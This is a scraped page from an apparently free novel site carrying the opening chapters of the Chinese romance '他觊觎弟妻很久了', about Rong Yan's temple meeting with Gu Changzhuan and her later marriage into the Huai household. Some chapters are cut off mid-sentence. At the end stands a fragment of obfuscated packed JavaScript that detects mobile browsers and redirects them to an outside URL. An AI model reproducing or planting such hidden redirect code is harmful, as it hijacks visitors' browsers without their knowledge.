《他觊觎弟妻很久了》 1. 前缘-落雪逢花(一) 《他觊觎弟妻很久了》全本免费阅读 正月十三这日,年后的第一场雪降临望京城的伽蓝寺。 山寺皑皑白雪,却挡不住香客往来。 “阿梨,你身为容府嫡长女,一举一动都代表我们容府的脸面,日后行事切不可像今日这般莽撞。” “祖母教训的是。” 伽蓝寺的省悟殿前,刚过了九岁生辰的容嫣正蔫蔫地跪在佛前,上午她跟寺庙里的和尚起了争执,这会儿正被祖母罚跪在殿前,祖母特意选了省悟殿,就是要她好好反省今日的错处。 可是她当真不觉得自己有错。 “跪要有跪相。”容老夫人看着容嫣不情不愿的跪姿,便知道以她的性子定是心中不服。 “阿梨知道了,天寒地冻,祖母快回去吧,可别冻坏了身子。”虽然心里坚信自己没错,但容嫣面上乖巧,毕竟祖母年纪大了,她不能把最疼爱她的祖母气坏了。 见容嫣乖乖认错,一脸严肃的容老夫人面色缓和了许多,让丫鬟监督容嫣罚跪。 眼下是正月里,伽蓝寺香客盈门,众人来来往往在殿前祈愿纳福,寺中香火烟气缭绕。 伽蓝寺位于伽蓝山之巅,地势高远,与祥云齐飞,如今是冬末,尚未开春,远观白雪茫茫一片,颇具仙境之缥缈。 “寻常梨花三月才开,此处地势高远,按理说开的更晚才是,怎的正月就盛放了。” “兄有所不知,这伽蓝寺的梨花树可不是寻常的品种,是道玄主持亲自培育出来的玄梨,很是耐寒。” “是啊,而且这伽蓝寺地处山的南面,最接近盛阳之处,且这树在寺中受天地滋养,日日听这寺里梵音,受天地精华,怕是已经得道成灵树了。” “所言有理。” 容嫣偷懒,斜歪歪跪着,听香客们在议论后山的玄梨林,今晨便听说玄梨花开了,可惜她还没来得及去看就被祖母抓来这里了。 “那小姑娘是太傅府上的嫡小姐容嫣?真不愧是大家闺秀,跪的有模有样。” 听到有人提到自己,容嫣赶忙又跪正身子,装模作样地跪在佛前,双手合十,看似潜心拜求。 祖母最看重名声,她可不能让祖母丢脸。 跪了大半天,容嫣腿都麻了,正想着该怎么才能偷懒,突然有三四个小和尚过来清场,似乎是有大户人家专门请了主持诵经,看样子有法事要办了。 容嫣暗自窃喜,她正好有理由离开这里。 过来的小和尚却没撵她,容嫣认出他就是早晨被大和尚欺负的那个小和尚,没等她开口,那名唤修缘的小和尚主动开口:“容姑娘,您这处小殿比较偏僻,您就在这继续待着就可,不碍事的。” “唔,我……”没等容嫣说完,小和尚自认很贴心地帮她把这里的殿门掩上,飞快跑开。 没一会儿,外头传来梵唱,容府也做过法事,但是比不得今日这般宏大,这让容嫣不禁好奇:这怕不是哪位皇亲去世了? 容嫣哄着祖母身边的丫鬟对她睁一只眼闭一只眼:“好姐姐,我膝盖都跪疼了。” 那丫鬟也知容嫣秉性,无奈的摇摇头:“姑娘跪久了该口渴了,我去给姑娘拿水,姑娘可莫要四处走动。” “谢谢妙芜姐姐。” 待丫鬟离开,容嫣拍拍膝盖衣料跪出来的皱褶,趴在门缝上偷看外面。 只见外头的和尚排成特有的队列,为首的是伽蓝寺主持。 众僧盘坐梵唱,气氛庄重肃穆。 好一会儿,有个和尚高声喊了句什么。 接着便看到一个黑衣少年步履稳健地抱着一个黑盒子走出来。 他缓缓走到最前方,将怀中的黑盒子放到众僧围坐的台子上。 那少年身姿挺拔,气质太过出挑,容嫣不由得在他身上多停留了一会儿,但碍于有段距离,她看不清人脸。 梵唱声顿时又大起来。 接着,那少年跪下,背脊挺得笔直。 旁边几个和尚走动,似乎又要进行下一个流程。 容嫣这才看到,在主持身边还坐着一个墨发披散着的中年男人,在梵唱声中,一个老和尚站起身,另一个小和尚给他递过去一个东西,似乎是剃刀。 看这架势,这是要剃度? 那剃度的是谁,这么大阵仗? 容嫣正犯嘀咕,果然看到老和尚接过小和尚递过来的剃刀,站到那披发中年男子身后。 被剃断的墨发一缕缕坠在地上,对面的少年直挺挺跪着,雪簌簌下,掩住了少年的神情…… 容嫣更好奇了,她悄声喊了喊离殿门不远处的小和尚:“小师父,修缘小师父,那要剃度的男子是谁啊?” 小和尚听容嫣竟然还记得他的名号,心中更暖,他走近些,小声同她说话:“是淮王。” “淮王?” “是啊,我那日偷听师父说话,说淮王要剃度来我们寺里出家呢?” 容嫣瞪大了眼睛,感到不可思议。 不过她更好奇的是刚才那抱着黑盒子的少年。 “那抱黑盒子的是谁?”她问道。 小和尚压低声音:“是淮王府长子顾长颛。” “啊,是他呀!”容嫣轻轻惊叹一声。 “那剃度的男子是淮王?” 修缘小和尚悄悄点头。 淮王府的轶事,一直是寻常后宅女子说笑的谈资,更别提容嫣这个最好事儿的,她虽然年纪小,但是自幼早慧,“淮王痴情”这段“佳话”,她自然耳熟。 淮王妃成婚七载不曾诞下子嗣,都言淮王痴情,一直不曾纳妾,但第七年,淮王迫于宗族的压力还是纳了妾,此后该妾室接连生下了四子一女,其中长子顾长颛被抱养在王妃跟前。 自妾室进门后,王妃就跟淮王大吵一架,搬去了别苑,直到今年冬天王妃病逝。 容嫣趴在窗上,看着外面庄重肃穆的法事,小脸上带着些超出年纪的感慨。 她从来都不觉得淮王深情,便是迫于子嗣的压力,那妾室生出双胎后,何故又来的那三子四子以及最小的女儿呢。 听说淮王妃在别苑病了多年,淮王都不曾去看过,现在人没了,便是他出家也于事无补了。 想到那淮王妃,容嫣心生可惜,她曾看到过一本《将军传》,里头记录了许许多多的精兵良将,淮王妃是那书中提到的少有的女将军,她很难想象那样一个在战场上英姿飒爽的女子,是如何嫁给淮王,又如何在后宅中蹉跎了余生。 “拜——” 随着外面一声高呼,容嫣看过去,看到那黑衣少年走上前,将手中的黑盒子交给已经剃度完成的淮王,而后他磕头,对着淮王行了大礼。 容嫣知道顾长颛。 淮王长子顾长颛,虽由妾室生, 2. 前缘-落雪逢花(二) 《他觊觎弟妻很久了》全本免费阅读 “祖母太过分了,爹爹和娘亲都来了,还要罚我。”用完晚膳,容嫣又来省悟殿了。 容太傅和容夫人帮容嫣说话,但老夫人板着脸不为所动:“她今日差点就大闹佛祖了,好好一个姑娘家被你们宠成泼猴,这可怎么得了。” “哪里有祖母说得那么严重,而且我也没错啊,那小和尚被欺负,我帮他说话,怎么就是大闹佛堂了。”容嫣低声辩解。 “佛祖面前,你对寺中几位僧人大不敬,还敢顶嘴!”容老夫人怒声。 在容府,容老夫人是说一不二的,见她发了脾气,没人敢再说话了,容嫣见祖母生气,也怕她气坏身子,不敢再吭声。 “阿梨,听你祖母的话,去跪着吧。”容夫人冯氏给容嫣使眼色。 “祖母别气了,容嫣知道错了。”容嫣垂头丧气跪着。 容太傅心疼女儿,赶忙给旁边的丫鬟使眼色,让人去拿垫子和汤婆子。 待容嫣走后,容太傅对老夫人道:“母亲,阿梨不过是因为小和尚被寺里其他人欺负,你也知道她性子直率,最看不得欺凌弱小这等行径,何至于让她罚跪……” “夫君,”容夫人扯了扯容太傅的衣摆,“当年阿梨生下来体弱,当时都说阿梨活不下来,母亲在佛前为阿梨借命,也幸得在这寺里遇到了一名神医,咱们阿梨才得以平安健康的活下来,这些年母亲每到阿梨生辰之时都带她来这里小住还愿,如今阿梨在寺里同和尚们起了争执,虽是好意,但终归是莽撞了,母亲也是为阿梨好。” 容太傅听这话,抬眼瞄了一眼老太太,尬笑:“还是母亲思虑周到,阿梨被我惯坏了,该罚该罚。” 容老夫人对着容太傅没好气道:“我对阿梨的疼爱,不比你们任何一个少,可是养子如栽树,你们这般纵容下去可不长久。” “母亲说的是,母亲将夫君和三个弟弟带大,都养的很好,我和夫君初为人父母,难免娇惯孩子了。” 听到容夫人这话,老夫人舒心,不免又苛责容太傅:“你这辈子,最大的幸事就是娶了个好媳妇。” 容太傅嬉皮笑脸的应是。 天渐渐黑下来,省悟殿中,容嫣跪在佛前,身披厚厚的狐裘,怀揣暖炉,手握汤婆子,身前还有灯火映面,热的犯迷糊。 没多久丫鬟斜斜歪在蒲团上睡着,容嫣跪得膝盖有些酸,她偷懒站起来靠在墙边歇会儿,突然,外头闪过一个人影,容嫣认出这就是白日欺负小和尚的人里最嚣张的那个。 看那和尚一走三回头,鬼鬼祟祟,必定有鬼,容嫣向来胆子大,见此也溜出省悟殿跟上去。 这伽蓝寺里的佛殿大大小小有八十一间,容嫣跟了没几步,那和尚就没了人影。 容嫣看着周围,四处都是燃着摇曳烛火的寺殿,但是没有人在,让人心里有些发毛。 想到白天刚看到淮王妃的法事,白日里那装有骨灰的盒子还在外头放了好久,据说人死了之后,会在骨灰附近徘徊,想着,她有些害怕。 脚步越发加快,可是人就怕自己吓唬自己,容嫣越走越害怕,一时竟不知道自己到了哪里。 周围都黑乎乎的,只有不远处一间佛殿里头的光最亮,她赶紧过去。 打开殿门,殿里有人。 容嫣探头,里面的人抬起头,回头看了一眼。 剑眉星目的少年,回眸望来的面庞在烛火中熠熠生辉。 四目相对,容嫣心中不免惊叹了一声。 好俊的哥哥! 见来人是个八九岁的小姑娘,小姑娘身上披着毛茸茸的狐裘,雪白的小脸依偎在脖颈处的雪白狐狸毛中,脸颊带着绯红,一双好看地桃花眼明媚惹眼。 少年眼中闪过一瞬诧异,不过他已经习惯了喜怒不形于色,很快他便又回过头去,继续端端正正的跪在佛前。 看身形和背影,容嫣认出他就是白日那个抱着骨灰盒子的少年顾长颛。 原来他长这样……这样俊。 这会儿崇拜之情完全掩盖了对他抱过骨灰的惧怕,她莫名的想凑上前去搭话。 容嫣放轻脚步,装模作样地跪在少年旁边。 左右祖母罚她跪,在哪跪不是跪,容嫣抬头看了看这殿中的佛像,心道,这处比省悟殿的佛像多好些呢,这样跪得更值呢。 不过…… 她又睁开一只眼,侧头悄悄看了眼身边的少年,心中不由纳闷。 他嫡母去世了,他心中应该难过吧。 可是他为什么不去跪孝贤殿,而是来跪英灵殿呢? 容嫣知道,这英灵殿供奉的是三十二战神,一般都是有战事时,大家才来跪拜祈求战事大胜,将士平安。 他是小将军,来这里跪拜似乎也很合理。 这英灵殿位置在寺庙偏后,一般来祭拜的都是士兵的家眷,这些年边疆休战,来英灵殿祭拜的人都少了很多,而且这殿很空旷,比她刚才待得那省悟殿冷多了。 她握紧手中的汤婆子,又纳闷地看向身侧,看他衣着单薄,双手交叠在身前,指节泛白,她不禁想到,每次她玩完雪之后,手就冷得发白。 想来这小将军肯定很冷吧。 她看了看自己身上的狐裘,握了握暖烘烘的小手,心想,没有了娘亲的孩子果然可怜。 “小将军哥哥。” 顾长颛睁开眸子,看向从刚才起就一直窸窣声不断的身旁。 靠的近了,他瞥见身旁小姑娘眉心点着朱砂,小脸很是俊俏讨喜,尤其是一双大眼睛在摇曳的烛火中熠熠发亮。 她轻轻出声:“小将军哥哥,你可以帮我拿一下这个汤婆子吗?” 顾长颛眉心微蹙,她分明可以把汤婆子放在地上,为何要他拿着? 但她声音软软,眸光奕奕,让人无法拒绝。 似是看出了他心中所想,小姑娘又出声:“地上凉,汤婆子会凉了。” 顾长颛伸手接过来,极暖的温度从冷透的手指传来,他已经很久没接触过这种温度了,还有些不太适应,另一只手也下意识抬起来,两手捧着。 看他接了,容嫣心中高兴,但她既是找借口让他“帮”自己,她总该做些什么,于是她伸手捡起蒲团上的稻草,装作要编东西所有才没手拿汤婆子的样子。 编了好一会儿,容嫣觉得手指冷极了,但是汤婆子给了人,断不好再要回来,而且……容嫣侧头,发现他正两只手捧着汤婆子,不知道什么时候两只手都贴在汤婆子上,似乎很享受这温暖。 不知道为何,她心里特高兴。 于是她继续编手里的东西。 顾长颛的眸光一直落在她手上。 直到外头传来声音。 “姑娘,你在这里!吓死我了,我找了半天,还以为你丢了!老夫人到底是心疼您,见天黑了,吩咐让您去睡呢。” “我在这呢。”容嫣赶紧站起身走出去。 这大殿又剩下顾长颛一人。 小姑娘走的匆忙,汤婆子也没拿走。 本以为小姑娘还会回来拿这汤婆子,顾长颛等了许久都不见人回来。 他面上微哂,心道,真是粗心的小孩。 暖意继续从手中传来,顾长颛活动了一下手,又继续去握着汤婆子,他看向身旁蒲团前被编的乱七八糟的稻草。 想到她刚才手忙脚乱的样子,编了半天都没编成个像样的东西。 向来老气横秋的面庞染了些少年气,素来绷紧的唇竟带了些弧度。 第二日一早,容嫣又去了英灵殿,但是殿中没有人了,只有一直冷掉的汤婆子在蒲团前好好放着,容嫣走过去,拿起汤婆子。 “诶!” 汤婆子旁边还有一个编好的小动物,容嫣一眼看出这是个小狐狸。 因为今日是容嫣生辰,看着容嫣还算听话,容老太太只让容嫣跪够三日,这次容嫣倒是痛快答应。 下午,顾长颛又来了伽蓝寺,远处传来一阵热闹的呼声,这个时辰,按理说寺庙里应当没多少香客了才对。 “爹爹,再来一次,我还要骑大马。” “好,阿梨高兴,那就再来一次。” “两个祖宗,你俩安分些,这里是寺庙,肃穆庄重的地方,你俩当是来游玩的吗!夫君,你也真的胡闹,要是叫母亲瞧见了,又该气坏了。” 顾长颛看向那吵闹声,是一家三口在伽蓝寺的大菩提树下挂祈福带。 “是容太傅,”方牧走来,他见顾长颛看着不远处的一家三口,出声,“公子,要去打招呼吗?” 顾长颛摇头,正要收回视线,他又出声问了句:“那小姑娘,应当就是容府的嫡女吧。” 他认得容太傅容肖易。 “对,前日王爷的意思,说得就是这容府嫡女容嫣同咱们王府联姻,这容府嫡女可谓是在蜜罐子长大的,听说为了这个女儿,容太傅竟然说怕分担了对女儿的关注,跟容夫人商议要等女儿长到十岁时再考虑生下一个孩子。”方牧语气里满是不解和惊叹。 容太傅夫妻情深,是京中人人皆知的事情,这容小姐所受的宠爱,也是城中人人羡慕的。 “世子,是否现在就要上门商议此事,先定下来。” 远处,小姑娘笑靥如花,这世间最幸福的人莫过于她了罢。 收回视线,顾长颛看向方牧,有些好笑:“才是个八九岁的小孩,哪知道什么是婚事,等以后她长大些再说吧,而且我再过些日子就要去婺州了。” 听到顾长颛老气横秋的言语,方牧心中也偷笑,世子也才十五的年纪啊。 “容‘烟’,哪个‘言’?” “啊?”方牧愣了一下,反应过来顾长颛问的是容嫣。 “嫣然的嫣。” 听到是这个字,顾长颛点头,想到小姑娘的笑靥,配这个字倒是极相称。 顾长颛收回视线,看向方牧手中的绸布,伸手接过来。 “你先回去吧。” “好,”方牧走前,又不放心的叮嘱了句,“世子,您穿的太少了,夜里寒气深重……” “婺州在北疆,天气比这里还要冷上几倍,我习惯了。” 听顾长颛如此说,方牧点头,“那我先回王府了,过几日等世子您为将士们祈愿后,再派人来接您。” “不必,过几日我会从这里直接去军营,就不回王府了,你是父王最信任的人,日后府中一切都交由你打理。” “可……侧妃还有二公子他们还等您过几日回府……” 听这话,顾长颛微微蹙眉:“ 3. 前缘-落雪逢花(三) 《他觊觎弟妻很久了》全本免费阅读 “小将军哥哥,你明日还在这儿吗?” 夜深了,容嫣该回去睡了。 顾长颛手中握着汤婆子,听她似乎明日还要来跪,他微微挑眉,好奇道:“你到底犯了什么错,惹得太傅如此罚你。” 容嫣这几日满腹苦水五人诉说,一听这话,她赶紧将这两日心里的憋屈说出来。 其实这事对于容嫣来说就是件小事。 不过是昨日早晨她看到三五个和尚在欺负一个瘦弱的小和尚,便去行侠仗义。原本只是质问那几个和尚为何要打人,谁知道那几个小和尚嫌她是个小女娃,叫她不要多管闲事,甚至对那个可怜的小和尚拳打脚踢。 她一时口不择言,就骂了句:“你们几个臭和尚,竟敢欺负人。” 就是因着“臭和尚”这句称呼,惹恼了祖母。 “其实祖母罚我,我也知错,我小时候生下来的时候体弱,算命的都说我活不过几天,祖母费力请这伽蓝寺的方丈为我加持,后来我果然活了下来,祖母也是在这寺庙里遇到了一位神医,替我治了娘胎里带的毛病,所以祖母一直觉得我和这寺有佛缘,每年在我生辰前后,祖母总会带我来这里酬愿。” 说到这里,容嫣小脸瘪瘪:“我也知道昨日是我失言,我当时实在着急,我只是生气那几个打人的和尚,绝对没有半点不敬佛祖的意思。” 小姑娘似乎很委屈,嘴巴叨叨一直都没停下。 顾长颛把玩着手里的汤婆子,轻问到:“你昨天早晨,如何就能知道不是那个被打的小和尚先犯了错。” 容嫣赶忙解释:“这可是寺庙,有什么错大有戒律长老处罚,哪轮得到他们私下打人,他们这般行径,根本就不是好和尚的做派,而且……那小和尚真的不坏,昨日他们冤枉小和尚偷了功德箱里的香油钱,可是那个小和尚之前捡到了我的玉佩,他若真的是坏人,完全可以贪掉玉佩,但他却还给了我,所以我觉得那小和尚不是他们说的那样。” 小姑娘言辞铮铮,有理有据。 “那你为何不同你祖母说明白。” “我说了,祖母还是让我罚跪,”容嫣小脸一垮,似乎是跪累了,歪歪跪在地上,“哎,我没有证据证明那几个和尚是坏人,反正他们千万别再让我逮到他们作恶,不然我一定要惩罚他们!” 听小姑娘放出豪言壮志,顾长颛唇角微抬。 “说起来,昨晚我还看到那个为首的坏蛋鬼鬼祟祟,可惜我昨晚跟丢了,”小姑娘遗憾道,“那个坏蛋大肚子,油光满面,脸上还有一道疤,原本我第一次在寺庙看到他,还想着不能以貌取人,可是那日他却打人,真让我心寒。” 小姑娘吐槽完,意识到竟然又过了一盏茶的功夫。 “哎呀哎呀,我得赶紧回去了,青环找不到我该着急了。” 小姑娘匆匆跑走,末了,在关门前又停下,只伸进来一个脑袋:“我明天还要罚跪,小将军你要是还来,我就还来找你成不成。” 顾长颛抿了一下唇,应了声:“明晚我还在。” 听到这话,容嫣面露喜色,正要把头也撤出去,又想到什么,又打开门进来,又把怀里的汤婆子也贡献出来:“这个也给你,两个一起会更暖和。” 顾长颛接过来。 小姑娘这次真的跑出门。听着外面小跑的轻快脚步声渐远,怀中揣着的热源一直源源不断的传递满顾长颛全身。 想到今晚他叫她帮自己烧梵经,顾长颛反应过来,他竟是下意识想要同她亲近…… 走出殿,顾长颛正要往后院禅房去,迎面走来一个体态肥胖的和尚。 和尚形色鬼祟,似乎没想到会在这里遇到人,他被迎面而来的顾长颛吓了一跳。 “你个崽……”看清顾长颛的样貌,那和尚噤声,毕恭毕敬,“顾世子……您可是刚从殿中拜完?” 顾长颛的视线落在他左脸颊的那道刀疤上,停顿一下,又收回视线,只微微颔首:“嗯。” “世子,我先去了。”那和尚走开,不知道拐去了哪里。 望着和尚刚才闪进去的黑暗胡同道,顾长颛刚才注意到了这和尚神色慌张,以及他鼓鼓囊囊的袖袍……看来小姑娘说的没错。 既问他刚才是不是在英灵殿,想必还会回来吧……老鼠怕是闻到香油味了。 再次返回英灵殿,顾长颛从腰间摸出玉佩,低头看向功德箱…… 四更天的时候,一道粗壮的影子闪进了英灵殿,灵智想着刚才顾世子在这,这功德箱中必然少不了香油钱,他一打开,果然在里面看到了许多金银,他忙不迭将金银藏进怀里,突然,一块玉佩出现在眼前,看到玉佩的成色,灵智倒抽了一口气。 赶忙把玉佩收入怀中,灵智收拾好功德箱,又赶紧闪了出去。 顾长颛跟上那道影子,看着几个和尚在山门下回合,然后结伴走下山。 小姑娘,看来明晚你要失约了。 许是昨夜睡得太晚,容嫣今日睡到日上三竿,她睁开眼,看到外头日头高高挂,她惊呼:“唔,我睡过头了!” 听到她的动静,容夫人冯氏走过来,笑着拍了拍她的额头:“太阳都晒屁股了。” 容嫣赶紧慌乱地套着衣裙:“坏了,早上要跟着主持礼拜,祖母该生气了。” 冯氏安抚住她:“不用着急了,今日寺庙的礼拜取消了,而且你祖母刚才来看你了,说让你今天好好休息,也免了你今晚的跪罚。” “为何?”容嫣一头雾水。 容肖易正从前面回来,听到女儿的声音,他大步走进来,笑着解释道:“今日寺庙可算是演了一出好戏,佛祖英明,算是报了我闺女连跪两日的大仇。” “到底怎么啦,到底怎么啦?”容嫣越发好奇。 看着女儿与自家夫君如出一辙,一副好事的样子,冯氏没好气的将手中的花钿递给夫君:“你们爷俩臭味相投。” 容肖易接过花钿,熟练地给容嫣绑在头上。 “爹爹,你快说怎么了。” 见女儿好奇,容肖易赶紧笑着解释起来。 “说是昨夜有贵人往功德捐香油钱的时候不小心把家传的玉佩也丢了进去,今早贵人来找主持说愿意捐千金香油钱,愿佛祖不怪,只要他能拿回那祖传玉佩。” 便是没有那千金香油钱,有人要从功德箱中拿回不小心丢进去的祖传玉佩,按理也该还给人家。 “结果找了半天怎么都没找到,连主持都惊动了。” “后来呢?”旁边冯氏也好奇。 “有人说是那贵人故意讹诈寺庙,根本就没有那玉佩。结果过了没几个时辰,突然又有了那玉佩的消息,听说是一个赌坊的老板送回来的,说是这寺里的和尚拿去赌的,结果他们一看这玉佩上面的花纹和刻纹,吓得赶紧送回了寺庙,正巧让寺里寻玉佩的众人逮了个正着。” “在赌坊老板的指认下,揪出了那几个赌博的和尚,那几个和尚对自己偷香油钱和赌博喝花酒的行径供认不讳,其中一个就是前日跟阿梨起争执的那个灵智。” “当真?我就说我没错!”听完,容嫣一扫前两日的郁闷之意,拍手称快。 “我的女儿,自然没错。”容肖易拍拍容嫣的发髻。 冯氏一脸无奈。 后知后觉的容嫣突然问起容肖易:“爹爹,我有个事想问你。” “何事?” “上午那丢玉佩的贵人,爹得知道是谁吗?” “嗯?你怎么突然好奇这个了?”容肖易纳闷。 其实容嫣是突然有个念头,目前在这伽蓝寺中,应当就只有淮王府的人能被称为贵人了。 淮王府的人……会是他么? “我,我只是想问问,到底是什么玉佩能让主持都惊动了。” 听这话,容肖易没再多寻思,笑笑:“是淮王府小世子,昨夜他捐香油钱的时候不小心把他们王府的传家玉佩都丢进去了,真是不小心,幸好找了回来。” “是小将军!”容嫣低低欢呼,胸腔有东西在砰砰跳动。 “嗯?”没等容肖易反应过来,就见容嫣跑出去了,“诶,阿梨你做什么去?” 英灵殿外,容嫣透过半开的窗扉,静静看着殿中执笔在锦帛上写着战死将士名讳和《地藏经》的少年。 这会儿寺里已经鲜少有香客,周遭寂静,斜阳的余晖斜斜透过窗,给少 4. 将军归来(一) 《他觊觎弟妻很久了》全本免费阅读 一晃经年,容嫣给容老夫人过完六十大寿,颇有些不舍地从容府离开。 这是她嫁进淮王府的第三个年头。 马车上,顾长颢看到妻子不大高兴的模样,他心头一软,将人揽进怀里,好声好气的一顿安慰。 “待过完年天气暖些,再叫你过来陪祖母小住一段日子可好。” “当真?”听到这话,容嫣抬头看向顾长颢。 见妻子面色立马飞扬起来,笑靥灵动,顾长颢心头更加软,他伸出骨节分明的手指:“君子一言,驷马难追,你若是不信,我同你拉钩。” 容嫣将手勾过去,夫妻二人相视一笑,在马车中相拥而坐。 直到外面马夫传来一声:“二公子,二少夫人,咱们到了。” 听到这话,连容嫣自己都没注意到,她下意识深呼吸了几下,似乎在准备心情,要面临什么令她难捱的事。 夫妻两人刚下了马车,又有仆从来通传:“公子,夫人,侧妃在芙荷厅中备了晚膳,等了有一会儿了。” 一听要去芙荷院去用膳,容嫣觉得腹中有些撑。 “走吧。”顾长颢伸手来牵她。 容嫣又暗暗吸了口气,将手搭过去,抬头看向顾长颢,面上依旧是笑盈盈的,让人看不出任何不妥的情绪,应声:“好。” 到了芙荷院,里面人已经到齐了。 主位上坐着的是一个四十岁左右的女子,衣着雍容,身上的首饰华贵,看上去派头十足,这就是淮王府的侧妃徐氏,也就是容嫣的婆母。 侧妃徐氏右手边的两个位置空着,左手边紧挨着一个大肚子的女子,看上去很年轻,约莫二十岁左右的年纪,这是再往下是两个男子,跟顾长颢的容貌有二三分相似,分别是王府的三公子顾子昌和四公子顾子盛。 那大着肚子女子是三公子顾子昌的妻子小徐氏徐如芹,她是侧妃徐氏的娘家侄女,如今有五个月的身孕,颇得徐氏看重。 四公子顾子盛再往左,是一个十四五岁的女子,生的样貌俊美,跟顾长颢也有几分相似,是王府的小郡主顾云筝。 看到二人进来,顾云筝率先喊了句:“二哥二嫂,你们回来了。” “回来了,”侧妃徐氏看向二人,先是神情高兴地看向顾长颢,随后目光在容嫣身上掠过,看不出什么情绪。 顾长颢应了声,唤了声:“母亲。” 徐氏高兴应了。 “母亲。”容嫣也紧跟着称呼。 徐氏收回视线:“坐罢。” 顾长颢挨着徐氏坐下。 容嫣在顾长颢和顾云筝之间的位置上浅坐了一会儿,听徐氏如往日一般说着家长里短。 自从到了王府,最让容嫣磨性子的就是徐氏每日用膳前的絮叨。 许是这三年也磨好了性子,如今容嫣眼观鼻,鼻观心,也能静静听着,等着徐氏话说完话,就该到她忙活的时候了。 今晚的徐氏话格外多,容嫣有小半月没在府中,徐氏似乎要把这小半月的不满全发作出来。 “三五天前皇后生辰,全靠我张罗着筹备贺礼,还有你舅舅家出了大事,你表弟最近还在狱中,全靠咱们打点,哦对,你三叔家的小儿子要成婚了,昨日刚定下来,也靠我送去礼物……” 徐氏絮絮叨叨,容嫣心中腹诽:明明有能干的方牧在,说得好像全靠婆母一样…… 但是她不会在明面上怼,只能听着徐氏说个没完。 容嫣快要听的快要睡着时,突然听到一句: “你们大哥已经在回来的路上了,不过三两日就能入京,除却颢儿你成婚时长颛匆匆回来了一趟又走了,这三年都没回来。” 这话一落,几人都又惊又喜。 顾子昌:“大哥要回来?” 顾长颢早就知道这个消息,比起其他弟弟妹妹,他要淡定许多:“半年前传来捷报,说大哥带领的赤统大军已经成功夺回婺州第十城,现在终于要回来了。” 顾云筝高兴道:“太好了,这次打了打胜仗,大哥应当不会再出征了把,其实算起来,大哥有八九年没在家中住过了呢,每次都是匆匆回来,又匆匆离开。” 顾子盛也高兴道:“大哥再不回来,我都快要忘记大哥什么样了!”三年前顾长颛回来哪一趟太匆匆,顾子盛当时在外游学,并未见到人。 大哥顾长颛要回来了。 容嫣下意识在心中重复了‘顾长颛’三个字,突然有种陌生又恍若隔世的感觉,她的回忆拉回三年前,她嫁给顾长颢的第二天来给徐氏敬茶的那天早晨。 那天,一进徐氏院子,就看到院子枣树下站着一个高个子男人,男人身上是还没来及换下来的戎装,就那么立在院中。 他回过头时,脸上是疲态,眼睛沉的吓人,布满了血丝。 看见顾长颢和她进来,他疲惫不堪的脸上扯出一个很努力的笑意,抬手拍了拍与自己有六七分相似的顾长颢肩膀,说了声:“还是没能赶上。” 后面他跟顾长颢寒暄的话容嫣都不记得了,倒是记得他最后看向自己,从怀里掏出一张红色信封。 “二弟妹,新婚快乐。” 然后他快步出了门,却又在芙荷院门口吐了血。 后来听人说那时顾长颛着急赶回来参加二弟的婚事,所以得了陛下批准后一路从婺州赶回来,中间累坏了好几匹马,人也累坏了。 但就算这样,也没能赶上吉时。 后来,顾长颛又在当天赶回了婺州。 与伽蓝寺时不同,挺拔修竹般的少年已经长成了顶天立地的松柏……但那日他吐血的场景一直让她历历在目…… “二嫂,二嫂……” 容嫣正微微出神,被身边的顾云筝打断,她回过神, 这时桌上已经安静下来,徐氏的话已经说完。 容嫣如往日一般站起身,从丫鬟手中接过公筷,动作熟练地给徐氏布菜。 等徐氏快吃饱,容嫣才回到位置上,顾长颢有些心疼她,给她夹了她最爱吃香玉酥,但是香玉酥这种炸食,本该就是趁热时最酥脆,容嫣轻轻咬了一口,食物如往日一般,已经失去最佳赏味的时刻,她心中略感遗憾,但是顾长颢一片心意,她不愿辜负,还是细嚼慢咽的吃完。 见她吃完,顾长颢还想再替她夹,旁边的徐氏不满地搁下茶杯,发出不大不小的动静,容嫣也适时开口:“不用再夹了。” 对比容嫣在容府的胃口,顾长颢明显发现容嫣今晚食欲不佳,他低声询问:“可是不舒服?” 还不等容嫣说什么,主位的徐氏突然发作:“如芹怀了孕尚且没这么娇贵,长颢,你莫要太纵着。” 听徐氏突然又发作脾气,容嫣心中一阵无奈,却也不知道自己又哪里得罪了她。但这三年她已经学会了无视和容忍徐氏随时随地莫名其妙的脾气变化,是以她并未吭声。 顾长颢暗自叹了口气,却也知道若是这个时候自己反驳又会引得母亲更加不高兴,赶紧顺着徐氏的话:“是,听母亲的。” 有人顾及容嫣的情绪,去看她一眼,却见她面上平静,似乎没有任何情绪起伏。 老四顾子盛皱了皱鼻头,收回视线。 终于熬完难捱的晚膳,顾云筝借口要容嫣帮她瞧瞧新栽的花,将人带出去。 “母亲就是这样的性子,她之前在王府也过得不容易,如今才苦尽甘来,二哥心疼她,二嫂你不要同母亲计较。” 在这王府中,有顾云筝这个善解人意的小姑子,到真让容嫣宽慰不少。 “二嫂,全府上下还要全靠你多打理,你也知道母亲不太会管家,三嫂没见过什么世面,而且大哥就要回来了,还要靠二嫂你多打点和准备。” 说这话的时候,容嫣注意到顾云筝的目光一直落在自己面上,她只以为顾云筝还在估计自己的情绪,也没在意。 “这本就我该做的,”不再去想刚才在芙荷厅那令她不适的场景,她换了个话题,“你养的这些花都是极罕见的,赶明儿我差人请个花匠来给你打理一下。” 没发现容嫣的情绪有任何浮动,顾云筝收回视线,也不再多想,去看自己的花。 “是啊,都是几年前我央着大哥从婺州给我带回来的稀罕品种呢,正好他这次回来让他瞧瞧。” 傍晚,回到青梧院,一进门,就见桌子上摆了两盘吃食,顾长颢正坐在桌边招呼她过来。 “阿嫣,快来,我刚让小厨房给你做的,还热着呢。” 容嫣走近桌边,正要坐下,顾长颢将她拉进怀里坐着,安慰她:“你知道,母亲她之前只是父王身边的侍妾,过得很不容易,这些年才开始做主,行事总有不周到的地方,加上她……一直盼着咱俩的孩子,所以有时候就对你责难,你不要怪她,要多体谅她……” 容嫣的视线落在那盘香玉酥上,看着它冒着热气,但她仍没有胃口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12137492|123993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 